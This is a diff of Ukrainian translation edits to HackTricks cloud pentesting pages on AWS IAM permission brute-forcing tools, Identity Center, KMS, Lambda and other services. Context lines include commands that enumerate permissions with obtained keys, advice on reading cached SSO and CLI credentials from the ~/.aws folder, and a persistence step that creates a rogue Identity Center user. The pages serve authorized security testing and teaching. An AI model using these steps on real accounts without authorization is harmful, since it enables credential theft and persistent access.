перебрати. #### bf-aws-permissions @@ -114,7 +114,7 @@ python3 aws_permissions_checker.py --profile [--arn ] python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` > [!WARNING] -> Можливо "знати", чи надані вам дозволи через керовану роль AWS, якщо ви бачите, що **у вас є дозволи на сервіси, які не використовуються**, наприклад. +> Можливо "знати", чи дозволи, які у вас є, надані керованою роллю AWS, якщо ви бачите, що **у вас є дозволи на сервіси, які не використовуються**, наприклад. #### Cloudtrail2IAM @@ -126,16 +126,16 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> Якщо ви знайдете .tfstate (файли стану Terraform) або файли CloudFormation (це зазвичай файли yaml, розташовані в бакеті з префіксом cf-templates), ви також можете їх прочитати, щоб знайти конфігурацію aws і дізнатися, які дозволи були надані кому. +> Якщо ви знайдете .tfstate (файли стану Terraform) або файли CloudFormation (це зазвичай файли yaml, розташовані в кошику з префіксом cf-templates), ви також можете їх прочитати, щоб знайти конфігурацію aws і дізнатися, які дозволи були надані кому. #### enumerate-iam -Щоб використовувати інструмент [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), спочатку потрібно завантажити всі API AWS кінцеві точки, з яких скрипт **`generate_bruteforce_tests.py`** отримає всі **"list\_", "describe\_", і "get\_" кінцеві точки.** І, нарешті, він спробує **доступитися до них** з наданими обліковими даними і **вказати, чи спрацювало**. +Щоб використовувати інструмент [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), спочатку потрібно завантажити всі API AWS кінцеві точки, з яких скрипт **`generate_bruteforce_tests.py`** отримає всі **"list\_", "describe\_", і "get\_" кінцеві точки.** І нарешті, він спробує **доступитися до них** з наданими обліковими даними і **вказати, чи спрацювало**. -(На моєму досвіді **інструмент зависає в деякий момент**, [**перевірте це виправлення**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), щоб спробувати це виправити). +(На мою думку, **інструмент зависає в деякий момент**, [**перегляньте це виправлення**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), щоб спробувати виправити це). > [!WARNING] -> На моєму досвіді цей інструмент схожий на попередній, але працює гірше і перевіряє менше дозволів. +> На мою думку, цей інструмент схожий на попередній, але працює гірше і перевіряє менше дозволів. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -Ви також можете використовувати інструмент [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Цей інструмент перевірить **декілька загальних операцій на декількох загальних сервісах** (перевірить деякі дозволи на перерахування, а також деякі дозволи на підвищення привілеїв). Але він перевірить лише закодовані перевірки (єдиний спосіб перевірити більше - це написати більше тестів). +Ви також можете використовувати інструмент [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Цей інструмент перевірить **декілька загальних операцій на декількох загальних сервісах** (перевірить деякі дозволи на перерахування, а також деякі дозволи на підвищення привілеїв). Але він перевірить лише закодовані перевірки (єдиний спосіб перевірити більше речей - це написати більше тестів). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -178,7 +178,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` -#### Ускладнення інструментів для BF дозволів +#### Інструменти зміцнення для BF дозволів {{#tabs }} {{#tab name="CloudSploit" }} @@ -208,7 +208,7 @@ steampipe dashboard #### \ -Жоден з попередніх інструментів не здатний перевірити майже всі дозволи, тому якщо ви знаєте кращий інструмент, надішліть PR! +Жоден з попередніх інструментів не здатний перевірити всі дозволи, тому якщо ви знаєте кращий інструмент, надішліть PR! ### Неавтентифікований доступ @@ -230,7 +230,7 @@ steampipe dashboard ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Постійність +### IAM Персистентність {{#ref}} ../aws-persistence/aws-iam-persistence.md @@ -255,18 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` -### Enumeration +### Перерахування -Основні елементи Центру ідентичності: +Основні елементи Identity Center: - Користувачі та групи -- Набори дозволів: Мають прикріплені політики +- Набори дозволів: мають прикріплені політики - Облікові записи AWS Потім створюються відносини, щоб користувачі/групи мали Набори дозволів над Обліковим записом AWS. > [!NOTE] -> Зверніть увагу, що є 3 способи прикріплення політик до Набору дозволів. Прикріплення керованих політик AWS, політик, керованих замовником (ці політики потрібно створити в усіх облікових записах, на які впливають Набори дозволів), і вбудованих політик (визначених там). +> Зверніть увагу, що є 3 способи прикріплення політик до Набору дозволів. Прикріплення керованих політик AWS, керованих політик замовника (ці політики потрібно створити в усіх облікових записах, на які впливають Набори дозволів) та вбудованих політик (визначених там). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -300,9 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` -### Local Enumeration +### Локальна Перерахунка -Можливо створити всередині папки `$HOME/.aws` файл config для налаштування профілів, які доступні через SSO, наприклад: +Можливо створити в папці `$HOME/.aws` файл config для налаштування профілів, які доступні через SSO, наприклад: ```ini [default] region = us-west-2 @@ -329,7 +329,7 @@ aws s3 ls --profile dependent-profile ``` Коли **профіль з SSO використовується** для доступу до деякої інформації, облікові дані **кешуються** у файлі всередині папки **`$HOME/.aws/sso/cache`**. Тому їх можна **читати та використовувати звідти**. -Більше того, **більше облікових даних** можна зберігати в папці **`$HOME/.aws/cli/cache`**. Ця директорія кешу в основному використовується, коли ви **працюєте з профілями AWS CLI**, які використовують облікові дані користувача IAM або **припускають** ролі через IAM (без SSO). Приклад конфігурації: +Більше того, **додаткові облікові дані** можуть зберігатися в папці **`$HOME/.aws/cli/cache`**. Ця директорія кешу в основному використовується, коли ви **працюєте з профілями AWS CLI**, які використовують облікові дані IAM користувача або **припускають** ролі через IAM (без SSO). Приклад конфігурації: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -357,7 +357,7 @@ external_id = 123456 ### Постійність -#### Створити користувача та призначити йому дозволи +#### Створіть користувача та призначте йому дозволи ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc @@ -367,6 +367,6 @@ aws identitystore create-user --identity-store-id --user-name privesc - Надати додаткові дозволи контрольованому користувачу або групі - За замовчуванням лише користувачі з дозволами з Облікового запису управління зможуть отримати доступ і контролювати IAM Identity Center. -Однак, за допомогою Делегованого адміністратора можна дозволити користувачам з іншого облікового запису керувати ним. Вони не матимуть точно таких же дозволів, але зможуть виконувати [**управлінські дії**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Однак, за допомогою Delegate Administrator можливо дозволити користувачам з іншого облікового запису керувати ним. Вони не матимуть точно таких же дозволів, але зможуть виконувати [**управлінські дії**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index c86d88bda..154566dad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,9 +4,9 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose є **повністю керованим сервісом**, який полегшує доставку **даних потокового відео в реальному часі**. Він підтримує різноманітні цілі, включаючи Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk та користувацькі HTTP-ендоінти. +Amazon Kinesis Data Firehose - це **повністю керована служба**, яка полегшує доставку **даних потокового відео в реальному часі**. Вона підтримує різноманітні пункти призначення, включаючи Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk та користувацькі HTTP-ендоінти. -Сервіс усуває необхідність у написанні додатків або управлінні ресурсами, дозволяючи виробникам даних бути налаштованими для прямої передачі даних до Kinesis Data Firehose. Цей сервіс відповідає за **автоматичну доставку даних до вказаного місця призначення**. Крім того, Kinesis Data Firehose надає можливість **трансформувати дані перед їх доставкою**, підвищуючи його гнучкість та застосовність до різних випадків використання. +Ця служба усуває необхідність у написанні додатків або управлінні ресурсами, дозволяючи виробникам даних бути налаштованими для прямої передачі даних до Kinesis Data Firehose. Ця служба відповідає за **автоматичну доставку даних до вказаного пункту призначення**. Крім того, Kinesis Data Firehose надає можливість **трансформувати дані перед їх доставкою**, підвищуючи її гнучкість та застосовність до різних випадків використання. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 8d28645a9..a7d91d364 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -10,18 +10,18 @@ KMS використовує **симетричну криптографію**. KMS є **сервісом, специфічним для регіону**. -**Адміністратори Amazon не мають доступу до ваших ключів**. Вони не можуть відновити ваші ключі і не допомагають вам з шифруванням ваших ключів. AWS просто адмініструє операційну систему та основний додаток, а нам потрібно адмініструвати наші шифрувальні ключі та контролювати, як ці ключі використовуються. +**Адміністратори Amazon не мають доступу до ваших ключів**. Вони не можуть відновити ваші ключі і не допомагають вам з шифруванням ваших ключів. AWS просто адмініструє операційну систему та основний додаток, нам потрібно адмініструвати наші шифрувальні ключі та контролювати, як ці ключі використовуються. -**Основні ключі клієнта** (CMK): Можуть шифрувати дані розміром до 4KB. Вони зазвичай використовуються для створення, шифрування та дешифрування DEK (Ключі шифрування даних). Потім DEK використовуються для шифрування даних. +**Основні ключі клієнта** (CMK): Можуть шифрувати дані розміром до 4KB. Вони зазвичай використовуються для створення, шифрування та розшифрування DEK (Ключі шифрування даних). Потім DEK використовуються для шифрування даних. -Основний ключ клієнта (CMK) є логічним представленням основного ключа в AWS KMS. На додаток до ідентифікаторів основного ключа та іншої метаданих, включаючи дату створення, опис та стан ключа, **CMK містить матеріал ключа, який використовується для шифрування та дешифрування даних**. Коли ви створюєте CMK, за замовчуванням AWS KMS генерує матеріал ключа для цього CMK. Однак ви можете вибрати створити CMK без матеріалу ключа, а потім імпортувати свій власний матеріал ключа в цей CMK. +Основний ключ клієнта (CMK) є логічним представленням основного ключа в AWS KMS. На додаток до ідентифікаторів основного ключа та іншої метаданих, включаючи дату створення, опис та стан ключа, **CMK містить матеріал ключа, який використовується для шифрування та розшифрування даних**. Коли ви створюєте CMK, за замовчуванням AWS KMS генерує матеріал ключа для цього CMK. Однак ви можете вибрати створити CMK без матеріалу ключа, а потім імпортувати свій власний матеріал ключа в цей CMK. Існує 2 типи основних ключів: -- **CMK, керовані AWS: Використовуються іншими службами для шифрування даних**. Вони використовуються службою, яка їх створила в регіоні. Вони створюються перший раз, коли ви реалізуєте шифрування в цій службі. Обертаються кожні 3 роки, і їх неможливо змінити. -- **CMK, керовані клієнтом**: Гнучкість, обертання, налаштовуваний доступ і політика ключів. Увімкнення та вимкнення ключів. +- **CMK, керовані AWS: Використовуються іншими службами для шифрування даних**. Вони використовуються службою, яка їх створила в регіоні. Вони створюються перший раз, коли ви реалізуєте шифрування в цій службі. Обертаються кожні 3 роки, і змінити їх неможливо. +- **CMK, керовані клієнтом**: Гнучкість, ротація, налаштовуваний доступ і політика ключів. Увімкнення та вимкнення ключів. -**Шифрування конвертів** в контексті Служби управління ключами (KMS): Двоярусна ієрархічна система для **шифрування даних за допомогою ключа даних, а потім шифрування ключа даних за допомогою основного ключа**. +**Шифрування конвертів** в контексті Служби управління ключами (KMS): Система з двох рівнів для **шифрування даних за допомогою ключа даних, а потім шифрування ключа даних за допомогою основного ключа**. ### Політики ключів @@ -33,13 +33,13 @@ KMS є **сервісом, специфічним для регіону**. На відміну від інших політик ресурсів AWS, політика **ключа KMS не надає автоматично дозволу жодному з принципалів облікового запису**. Щоб надати дозвіл адміністраторам облікового запису, **політика ключа повинна містити явну заяву**, яка надає цей дозвіл, як ця. -- Без дозволу облікового запису(`"AWS": "arn:aws:iam::111122223333:root"`) дозволи IAM не працюватимуть. +- Без дозволу облікового запису (`"AWS": "arn:aws:iam::111122223333:root"`) дозволи IAM не працюватимуть. -- Це **дозволяє обліковому запису використовувати політики IAM** для надання доступу до ключа KMS, на додаток до політики ключа. +- Вона **дозволяє обліковому запису використовувати політики IAM** для надання доступу до ключа KMS, на додаток до політики ключа. **Без цього дозволу політики IAM, які дозволяють доступ до ключа, є неефективними**, хоча політики IAM, які забороняють доступ до ключа, все ще є ефективними. -- Це **зменшує ризик того, що ключ стане некерованим**, надаючи дозвіл на контроль доступу адміністраторам облікового запису, включаючи кореневого користувача облікового запису, якого не можна видалити. +- Вона **зменшує ризик того, що ключ стане некерованим**, надаючи дозвіл на контроль доступу адміністраторам облікового запису, включаючи кореневого користувача облікового запису, який не може бути видалений. **Приклад політики за замовчуванням**: ```json @@ -54,7 +54,7 @@ KMS є **сервісом, специфічним для регіону**. } ``` > [!WARNING] -> Якщо **обліковому запису дозволено** (`"arn:aws:iam::111122223333:root"`), **суб'єкт** з облікового запису **все ще потребуватиме IAM дозволів** для використання KMS ключа. Однак, якщо **ARN** ролі, наприклад, **конкретно дозволено** в **Політиці ключа**, ця роль **не потребує IAM дозволів**. +> Якщо **обліковий запис дозволено** (`"arn:aws:iam::111122223333:root"`), **основний суб'єкт** з облікового запису **все ще потребуватиме IAM дозволів** для використання KMS ключа. Однак, якщо **ARN** ролі, наприклад, **спеціально дозволено** в **Політиці ключа**, ця роль **не потребує IAM дозволів**.
@@ -65,14 +65,14 @@ KMS є **сервісом, специфічним для регіону**. - Документ на основі JSON - Ресурс --> Підлягаючі ресурси (може бути "\*") - Дія --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (дозволи) -- Ефект --> Дозволити/Заборонити -- Суб'єкт --> arn, що підлягає +- Ефект --> Дозволити/Відмовити +- Основний суб'єкт --> arn, що підлягає - Умови (необов'язково) --> Умова для надання дозволів Гранти: -- Дозволяє делегувати ваші дозволи іншому AWS суб'єкту у вашому обліковому записі AWS. Вам потрібно створити їх за допомогою AWS KMS API. Можна вказати ідентифікатор CMK, суб'єкт гранту та необхідний рівень операції (Decrypt, Encrypt, GenerateDataKey...) -- Після створення гранту видаються GrantToken та GrantID +- Дозволяє делегувати ваші дозволи іншому AWS основному суб'єкту у вашому обліковому записі AWS. Вам потрібно створити їх, використовуючи AWS KMS API. Можна вказати ідентифікатор CMK, основний суб'єкт гранту та необхідний рівень операції (Decrypt, Encrypt, GenerateDataKey...) +- Після створення гранту видається GrantToken та GrantID **Доступ**: @@ -87,13 +87,13 @@ KMS є **сервісом, специфічним для регіону**. Адміністратори ключів за замовчуванням: - Мають доступ для управління KMS, але не для шифрування або дешифрування даних -- Тільки користувачі та ролі IAM можуть бути додані до списку Адміністраторів ключів (не групи) -- Якщо використовується зовнішній CMK, Адміністратори ключів мають дозвіл на імпорт матеріалів ключа +- Тільки користувачі та ролі IAM можуть бути додані до списку адміністраторів ключів (не групи) +- Якщо використовується зовнішній CMK, адміністратори ключів мають дозвіл на імпорт матеріалів ключа ### Ротація CMK - Чим довше той самий ключ залишається на місці, тим більше даних шифрується цим ключем, і якщо цей ключ буде зламано, то ширша зона ризику даних. Крім того, чим довше ключ активний, тим більше ймовірність його зламу. -- **KMS ротує ключі клієнтів кожні 365 днів** (або ви можете виконати процес вручну, коли захочете) і **ключі, що керуються AWS, кожні 3 роки**, і цього разу змінити не можна. +- **KMS ротує ключі клієнтів кожні 365 днів** (або ви можете виконати процес вручну, коли захочете) і **ключі, що управляються AWS, кожні 3 роки**, і цього разу змінити не можна. - **Старі ключі зберігаються** для дешифрування даних, які були зашифровані до ротації - У разі зламу, ротація ключа не усуне загрозу, оскільки буде можливість дешифрувати всі дані, зашифровані зламаним ключем. Однак, **нові дані будуть зашифровані новим ключем**. - Якщо **CMK** знаходиться в стані **вимкнено** або **в очікуванні** **видалення**, KMS **не виконає ротацію ключа**, поки CMK не буде повторно активовано або видалення не буде скасовано. @@ -118,7 +118,7 @@ KMS має повну аудиторську та комплаєнс **інте - Обмежити доступ систем до шифрування лише, дешифрування лише або обидва - Визначити, щоб системи могли отримувати доступ до ключів через регіони (хоча це не рекомендується, оскільки збій у регіоні, що хостить KMS, вплине на доступність систем в інших регіонах). -Ви не можете синхронізувати або переміщати/копіювати ключі між регіонами; ви можете лише визначити правила для дозволу доступу через регіони. +Ви не можете синхронізувати або переміщати/копіювати ключі між регіонами; ви можете лише визначити правила для дозволу доступу через регіон. ### Перерахування ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 27d4d61a0..f519d8520 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,9 +4,9 @@ ## Lambda -Amazon Web Services (AWS) Lambda описується як **обчислювальна служба**, яка дозволяє виконувати код без необхідності в постачанні або управлінні серверами. Вона характеризується своєю здатністю **автоматично обробляти виділення ресурсів**, необхідних для виконання коду, забезпечуючи такі функції, як висока доступність, масштабованість і безпека. Значним аспектом Lambda є її модель ціноутворення, де **плата стягується виключно за використаний обчислювальний час**, що усуває необхідність у початкових інвестиціях або довгострокових зобов'язаннях. +Amazon Web Services (AWS) Lambda описується як **обчислювальна служба**, яка дозволяє виконувати код без необхідності в постачанні або управлінні серверами. Вона характеризується здатністю **автоматично обробляти виділення ресурсів**, необхідних для виконання коду, забезпечуючи такі функції, як висока доступність, масштабованість і безпека. Значним аспектом Lambda є її модель ціноутворення, де **плата стягується виключно за використаний обчислювальний час**, що усуває необхідність у початкових інвестиціях або довгострокових зобов'язаннях. -Щоб викликати лямбду, можна викликати її **так часто, як ви хочете** (з Cloudwatch), **експонувати** **URL** кінцеву точку та викликати її, викликати її через **API Gateway** або навіть на основі **подій**, таких як **зміни** в даних у **S3** бакеті або оновлення в **DynamoDB** таблиці. +Щоб викликати лямбду, можна викликати її **так часто, як ви хочете** (з Cloudwatch), **експонувати** **URL** кінцеву точку і викликати її, викликати через **API Gateway** або навіть на основі **подій**, таких як **зміни** в даних у **S3** бакеті або оновлення в **DynamoDB** таблиці. **Код** лямбди зберігається в **`/var/task`**. @@ -20,7 +20,7 @@ Amazon Web Services (AWS) Lambda описується як **обчислюва ### Політики ресурсів -Політики ресурсів Lambda дозволяють **надавати доступ іншим службам/акаунтам для виклику** лямбди, наприклад.\ +Політики ресурсів Lambda дозволяють **надавати доступ іншим службам/обліковим записам для виклику** лямбди, наприклад.\ Наприклад, це політика, яка дозволяє **будь-кому отримати доступ до лямбди, експонованої через URL**:
@@ -31,29 +31,29 @@ Amazon Web Services (AWS) Lambda описується як **обчислюва ### Проксі бази даних Lambda -Коли є **сотні** **паралельних запитів до лямбди**, якщо кожен з них потребує **підключення та закриття з'єднання з базою даних**, це просто не спрацює (лямбди безстанні, не можуть підтримувати відкриті з'єднання).\ -Тоді, якщо ваші **функції Lambda взаємодіють з RDS Proxy замість** вашої бази даних. Це обробляє пул з'єднань, необхідний для масштабування багатьох одночасних з'єднань, створених паралельними функціями Lambda. Це дозволяє вашим Lambda додаткам **повторно використовувати існуючі з'єднання**, а не створювати нові з'єднання для кожного виклику функції. +Коли є **сотні** **паралельних запитів до лямбди**, якщо кожен з них потребує **підключення та закриття з'єднання з базою даних**, це просто не спрацює (лямбди є безстанними, не можуть підтримувати відкриті з'єднання).\ +Тоді, якщо ваші **функції Lambda взаємодіють з RDS Proxy замість** вашої бази даних. Він обробляє пул з'єднань, необхідний для масштабування багатьох одночасних з'єднань, створених паралельними функціями Lambda. Це дозволяє вашим Lambda додаткам **повторно використовувати існуючі з'єднання**, а не створювати нові з'єднання для кожного виклику функції. ### Файлові системи EFS Lambda -Щоб зберегти та навіть поділитися даними, **лямбди можуть отримувати доступ до EFS і монтувати їх**, щоб лямбда могла читати та записувати з них. +Щоб зберегти та навіть поділитися даними, **лямбди можуть отримати доступ до EFS і монтувати їх**, щоб лямбда могла читати та записувати з них. ### Шари Lambda -Шар Lambda _це_ архів .zip файлів, який **може містити додатковий код** або інший вміст. Шар може містити бібліотеки, [кастомний час виконання](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли. +Шар Lambda _це_ архів .zip файлів, який **може містити додатковий код** або інший контент. Шар може містити бібліотеки, [кастомний час виконання](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), дані або конфігураційні файли. Можна включити до **п'яти шарів на функцію**. Коли ви включаєте шар у функцію, **вміст витягується до каталогу `/opt`** в середовищі виконання. -За **замовчуванням** шари, які ви створюєте, є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції споживають шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару. +За **замовчуванням** **шари**, які ви створюєте, є **приватними** для вашого облікового запису AWS. Ви можете вибрати **поділитися** шаром з іншими обліковими записами або **зробити** шар **публічним**. Якщо ваші функції споживають шар, який опублікував інший обліковий запис, ваші функції можуть **продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару**. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару. -Функції, розгорнуті як контейнерне зображення, не використовують шари. Натомість ви пакуєте ваше бажане середовище виконання, бібліотеки та інші залежності в контейнерне зображення під час його створення. +Функції, розгорнуті як контейнерне зображення, не використовують шари. Натомість ви упаковуєте ваше бажане середовище виконання, бібліотеки та інші залежності в контейнерне зображення під час його створення. ### Розширення Lambda Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [розгортання контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішньому** та **зовнішньому**. -- **Внутрішні розширення** зливаються з процесом виконання, маніпулюючи його запуском за допомогою **змінних середовища, специфічних для мови** та **обгорткових скриптів**. Це налаштування застосовується до ряду середовищ виконання, включаючи **Java Correto 8 і 11, Node.js 10 і 12, та .NET Core 3.1**. -- **Зовнішні розширення** працюють як окремі процеси, підтримуючи узгодженість роботи з життєвим циклом функції Lambda. Вони сумісні з різними середовищами виконання, такими як **Node.js 10 і 12, Python 3.7 і 3.8, Ruby 2.5 і 2.7, Java Corretto 8 і 11, .NET Core 3.1**, та **кастомними середовищами виконання**. +- **Внутрішні розширення** зливаються з процесом виконання, маніпулюючи його запуском за допомогою **змінних середовища, специфічних для мови**, та **обгорткових скриптів**. Це налаштування застосовується до ряду середовищ виконання, включаючи **Java Correto 8 та 11, Node.js 10 та 12, та .NET Core 3.1**. +- **Зовнішні розширення** працюють як окремі процеси, підтримуючи узгодженість роботи з життєвим циклом функції Lambda. Вони сумісні з різними середовищами виконання, такими як **Node.js 10 та 12, Python 3.7 та 3.8, Ruby 2.5 та 2.7, Java Corretto 8 та 11, .NET Core 3.1**, та **кастомними середовищами виконання**. ### Перерахування ```bash @@ -108,7 +108,7 @@ aws lambda invoke --function-name --cli-binary-format raw-in-base64-out - aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### Call Lambda function via URL +#### Виклик функції Lambda через URL Тепер час дізнатися про можливі функції lambda для виконання: ``` @@ -116,7 +116,7 @@ aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -Доступна функція лямбда під назвою "Level6". Давайте дізнаємося, як її викликати: +Доступна функція lambda під назвою "Level6". Давайте дізнаємось, як її викликати: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` @@ -128,7 +128,7 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 ``` ![](<../../../images/image (237).png>) -І нарешті викликаємо функцію, звертаючись (зверніть увагу, що ID, Name та function-name з'являються в URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +І нарешті викликайте функцію, звертаючись (зверніть увагу, що ID, Name та function-name з'являються в URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 37d46a165..f888f8813 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -34,15 +34,15 @@ aws lightsail get-key-pairs ### Метадані -**Точка доступу до метаданих доступна з lightsail**, але машини працюють в **обліковому записі AWS, що управляється AWS**, тому ви не контролюєте **які дозволи надаються**. Однак, якщо ви знайдете спосіб експлуатувати їх, ви будете безпосередньо експлуатувати AWS. +**Точка доступу метаданих доступна з lightsail**, але машини працюють в **обліковому записі AWS, що управляється AWS**, тому ви не контролюєте **які дозволи надаються**. Однак, якщо ви знайдете спосіб експлуатувати їх, ви будете безпосередньо експлуатувати AWS. -### Підвищення привілеїв +### Привілейоване підвищення {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Постексплуатація +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 712ce3918..558dc6595 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -10,11 +10,11 @@ ### AWS - RabbitMQ -RabbitMQ є видатним **програмним забезпеченням для черг повідомлень**, також відомим як _брокер повідомлень_ або _менеджер черг_. Це, по суті, система, в якій налаштовуються черги. Додатки взаємодіють з цими чергами, щоб **надсилати та отримувати повідомлення**. Повідомлення в цьому контексті можуть містити різноманітну інформацію, починаючи від команд для ініціювання процесів в інших додатках (можливо, на різних серверах) до простих текстових повідомлень. Повідомлення зберігаються програмним забезпеченням менеджера черг, поки їх не отримають і не оброблять приймаючі додатки. AWS надає просте у використанні рішення для хостингу та управління серверами RabbitMQ. +RabbitMQ є відомим **програмним забезпеченням для черг повідомлень**, також відомим як _брокер повідомлень_ або _менеджер черг_. Це, по суті, система, в якій налаштовуються черги. Додатки взаємодіють з цими чергами, щоб **надсилати та отримувати повідомлення**. Повідомлення в цьому контексті можуть містити різноманітну інформацію, починаючи від команд для ініціювання процесів в інших додатках (можливо, на різних серверах) до простих текстових повідомлень. Повідомлення зберігаються програмним забезпеченням менеджера черг, поки їх не отримають і не оброблять приймаючі додатки. AWS надає просте у використанні рішення для хостингу та управління серверами RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQ® є провідним відкритим, заснованим на Java **брокером повідомлень**, відомим своєю універсальністю. Він підтримує кілька стандартних протоколів галузі, пропонуючи широкий спектр сумісності клієнтів на різних мовах і платформах. Користувачі можуть: +Apache ActiveMQ® є провідним відкритим, заснованим на Java **брокером повідомлень**, відомим своєю універсальністю. Він підтримує кілька стандартних протоколів галузі, пропонуючи широку сумісність клієнтів на різноманітних мовах і платформах. Користувачі можуть: - Підключатися до клієнтів, написаних на JavaScript, C, C++, Python, .Net та інших. - Використовувати протокол **AMQP** для інтеграції додатків з різних платформ. @@ -22,7 +22,7 @@ Apache ActiveMQ® є провідним відкритим, заснованим - Керувати IoT-пристроями за допомогою **MQTT**. - Підтримувати існуючу інфраструктуру **JMS** та розширювати її можливості. -Стійкість і гнучкість ActiveMQ роблять його придатним для безлічі вимог до обміну повідомленнями. +Надійність і гнучкість ActiveMQ роблять його придатним для безлічі вимог до обміну повідомленнями. ## Перерахування ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 6c6847e17..8768c5c38 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,17 +4,17 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** — це повністю керована служба, яка полегшує розробку та виконання додатків, що обробляють потокові дані через **Apache Kafka**. Операції контрольної площини, включаючи створення, оновлення та видалення **кластерів**, пропонуються Amazon MSK. Служба дозволяє використовувати **операції даних** Apache Kafka, що охоплюють виробництво та споживання даних. Вона працює на **відкритих версіях Apache Kafka**, забезпечуючи сумісність з існуючими додатками, інструментами та плагінами як від партнерів, так і від **спільноти Apache 